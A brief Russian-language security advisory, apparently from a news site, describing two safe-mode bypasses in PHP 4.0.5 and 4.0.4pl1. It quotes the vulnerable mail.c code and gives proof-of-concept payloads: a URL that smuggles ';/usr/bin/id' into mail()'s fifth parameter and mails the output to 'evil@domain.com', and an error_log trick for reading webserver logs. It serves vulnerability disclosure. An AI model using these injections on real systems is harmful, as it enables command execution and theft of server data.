Найдено 2 проблемы в PHP safe mode. 

1. PHP версии 4.0.5 пропускает (break) safe mode

При вызове дополнительного 5-ого параметра в mail() команде нарушается safemode:

Часть кода в mail.c (156-165 строки):

if (extra_cmd != NULL) {
sendmail_cmd=emalloc(strlen(sendmail_path)+strlen(extra_cmd)+2);
strcpy (sendmail_cmd, sendmail_path);
strcat (sendmail_cmd, " ");
strcat (sendmail_cmd, extra_cmd);
} else { 
sendmail_cmd = sendmail_path; }
sendmail = popen(sendmail_cmd, "w"); } 

Атакующий может просто загрузить код evil.php скрипта, содержащего:
<? mail("foo@bar,"foo","bar","",$bar); ?>
простой командой:
http://foo.com/evil.php?bar=;/usr/bin/id|mail evil@domain.com

2. PHP версии 4.0.5/4.0.4pl1 иногда пропускает (break) safe mode.

PHP safe mode имеет новую особенность запрещать открытие/чтение/запись файлов, которые не принадлежат универсальному идентификатору описанному в скрипте. Если в скрипте содержится следующий код:

<? 
$cmd = '<? showsource($foo); ?>';
error_log($cmd,3,"/path/to/user/wwwspace/nobody.php");
?>

То тогда доступ к error_log можно получить, используя следующий URL:
http://foo.bar/~user/nobody.php?foo=/path/to/webserver/logs/access_log.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии